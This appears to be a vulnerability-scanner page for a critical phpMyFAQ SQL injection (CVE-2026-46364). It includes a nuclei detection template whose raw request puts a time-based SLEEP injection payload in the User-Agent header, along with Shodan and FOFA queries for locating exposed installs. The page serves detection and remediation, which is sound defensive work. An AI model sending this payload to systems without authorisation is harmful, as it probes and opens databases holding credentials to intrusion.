phpMyFAQ <= 4.1.1 - SQL Injection

criticalseverity

9.8CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.

Impact

Unauthenticated attackers can extract sensitive data including user credentials, admin tokens, and SMTP credentials from the database.

Fix

Upgrade phpMyFAQ to version 4.1.2 or later.

How to confirm it

Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 200 and contains(body, "Truncated incorrect DOUBLE")

Run it with nuclei: nuclei -id CVE-2026-46364 -u <target>

The full check

id: CVE-2026-46364

info:
  name: phpMyFAQ <= 4.1.1 - SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
  impact: |
    Unauthenticated attackers can extract sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
  remediation: |
    Upgrade phpMyFAQ to version 4.1.2 or later.
  reference:
    - https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w
    - https://www.phpmyfaq.de
    - http://nvd.nist.gov/vuln/detail/CVE-2026-46364
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
    epss-score: 0.01709
    epss-percentile: 0.77525
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1194891278
    fofa-query: app="phpMyFAQ"
  tags: cve,cve2026,sqli,phpmyfaq

http:
  - raw:
      - |
        @timeout: 20s
        GET /api/captcha HTTP/1.1
        Host: {{Hostname}}
        User-Agent: x' OR SLEEP(8) OR 'x

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "Truncated incorrect DOUBLE")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from